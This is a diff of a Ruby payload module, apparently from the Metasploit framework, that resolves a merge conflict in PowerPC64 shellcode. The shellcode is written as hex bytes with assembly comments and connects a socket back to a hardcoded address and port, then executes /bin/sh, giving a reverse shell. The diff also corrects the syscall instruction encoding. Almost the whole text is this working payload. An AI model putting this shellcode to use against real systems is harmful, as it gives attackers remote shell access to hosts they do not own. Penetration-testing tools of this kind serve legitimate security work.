@@ -29,7 +29,6 @@ def initialize(info = {})
29
29
'LPORT' => [ 62 , 'n' ]
30
30
} ,
31
31
'Payload' =>
32
- <<<<<<< HEAD
33
32
"\x7f \xff \xfa \x78 " + # xor r31,r31,r31 #
34
33
"\x3b \xa0 \x01 \xff " + # li r29,511 #
35
34
"\x3b \x9d \xfe \x02 " + # addi r28,r29,-510 #
@@ -40,7 +39,7 @@ def initialize(info = {})
40
39
"\x7c \x24 \x0b \x78 " + # mr r4,r1 #
41
40
"\x38 \x7d \xfe \x02 " + # addi r3,r29,-510 #
42
41
"\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
43
- "\x44 \xff \xff \x02 " + # sc #
42
+ "\x44 \x00 \x00 \x02 " + # sc #
44
43
"\x7c \x7a \x1b \x78 " + # mr r26,r3 #
45
44
"\x3b \x3d \xfe \x11 " + # addi r25,r29,-495 #
46
45
"\x3e \xe0 \x7f \x00 " + # lis r23,32512 #
@@ -56,11 +55,11 @@ def initialize(info = {})
56
55
"\x7c \x24 \x0b \x78 " + # mr r4,r1 #
57
56
"\x38 \x7d \xfe \x04 " + # addi r3,r29,-508 #
58
57
"\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
59
- "\x44 \xff \xff \x02 " + # sc #
58
+ "\x44 \x00 \x00 \x02 " + # sc #
60
59
"\x7f \x64 \xdb \x78 " + # mr r4,r27 #
61
60
"\x7f \x43 \xd3 \x78 " + # mr r3,r26 #
62
61
"\x38 \x1d \xfe \x40 " + # addi r0,r29,-448 #
63
- "\x44 \xff \xff \x02 " + # sc #
62
+ "\x44 \x00 \x00 \x02 " + # sc #
64
63
"\x37 \x7b \xff \xff " + # addic. r27,r27,-1 #
65
64
"\x40 \x80 \xff \xec " + # bge+ <cntsockcode64+108> #
66
65
"\x7c \xa5 \x2a \x79 " + # xor. r5,r5,r5 #
@@ -73,55 +72,8 @@ def initialize(info = {})
73
72
"\xf8 \x61 \xff \xf9 " + # stdu r3,-8(r1) #
74
73
"\x7c \x24 \x0b \x78 " + # mr r4,r1 #
75
74
"\x38 \x1d \xfe \x0c " + # addi r0,r29,-500 #
76
- "\x44 \xff \xff \x02 " + # sc #
75
+ "\x44 \x00 \x00 \x02 " + # sc #
77
76
'/bin/sh'
78
- =======
79
- "\x7f \xff \xfa \x78 " + # xor r31,r31,r31 #
80
- "\x3b \xa0 \x01 \xff " + # li r29,511 #
81
- "\x3b \x9d \xfe \x02 " + # addi r28,r29,-510 #
82
- "\x3b \x7d \xfe \x03 " + # addi r27,r29,-509 #
83
- "\xfb \xe1 \xff \xf9 " + # stdu r31,-8(r1) #
84
- "\xfb \x81 \xff \xf9 " + # stdu r28,-8(r1) #
85
- "\xfb \x61 \xff \xf9 " + # stdu r27,-8(r1) #
86
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
87
- "\x38 \x7d \xfe \x02 " + # addi r3,r29,-510 #
88
- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
89
- "\x44 \x00 \x00 \x02 " + # sc #
90
- "\x7c \x7a \x1b \x78 " + # mr r26,r3 #
91
- "\x3b \x3d \xfe \x11 " + # addi r25,r29,-495 #
92
- "\x3e \xe0 \x7f \x00 " + # lis r23,32512 #
93
- "\x62 \xf7 \x00 \x01 " + # ori r23,r23,1 #
94
- "\x3a \xc0 \x04 \xd2 " + # li r22,1234 #
95
- "\x96 \xe1 \xff \xfc " + # stwu r23,-4(r1) #
96
- "\x96 \xc1 \xff \xfc " + # stwu r22,-4(r1) #
97
- "\x93 \x61 \xff \xfe " + # stw r27,-2(r1) #
98
- "\x7c \x35 \x0b \x78 " + # mr r21,r1 #
99
- "\xfb \x21 \xff \xf9 " + # stdu r25,-8(r1) #
100
- "\xfa \xa1 \xff \xf9 " + # stdu r21,-8(r1) #
101
- "\xfb \x41 \xff \xf9 " + # stdu r26,-8(r1) #
102
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
103
- "\x38 \x7d \xfe \x04 " + # addi r3,r29,-508 #
104
- "\x38 \x1d \xfe \x67 " + # addi r0,r29,-409 #
105
- "\x44 \x00 \x00 \x02 " + # sc #
106
- "\x7f \x64 \xdb \x78 " + # mr r4,r27 #
107
- "\x7f \x43 \xd3 \x78 " + # mr r3,r26 #
108
- "\x38 \x1d \xfe \x40 " + # addi r0,r29,-448 #
109
- "\x44 \x00 \x00 \x02 " + # sc #
110
- "\x37 \x7b \xff \xff " + # addic. r27,r27,-1 #
111
- "\x40 \x80 \xff \xec " + # bge+ <cntsockcode64+108> #
112
- "\x7c \xa5 \x2a \x79 " + # xor. r5,r5,r5 #
113
- "\x40 \x82 \xff \xfd " + # bnel+ <cntsockcode64+132> #
114
- "\x7f \xc8 \x02 \xa6 " + # mflr r30 #
115
- "\x3b \xde \x01 \xff " + # addi r30,r30,511 #
116
- "\x38 \x7e \xfe \x25 " + # addi r3,r30,-475 #
117
- "\x98 \xbe \xfe \x2c " + # stb r5,-468(r30) #
118
- "\xf8 \xa1 \xff \xf9 " + # stdu r5,-8(r1) #
119
- "\xf8 \x61 \xff \xf9 " + # stdu r3,-8(r1) #
120
- "\x7c \x24 \x0b \x78 " + # mr r4,r1 #
121
- "\x38 \x1d \xfe \x0c " + # addi r0,r29,-500 #
122
- "\x44 \x00 \x00 \x02 " + # sc #
123
- "/bin/sh"
124
- >>>>>>> d127729c5cf ( Adding PPC64 template , fixing PPC64 single payloads )
125
77
}
126
78
)
127
79
)
0 commit comments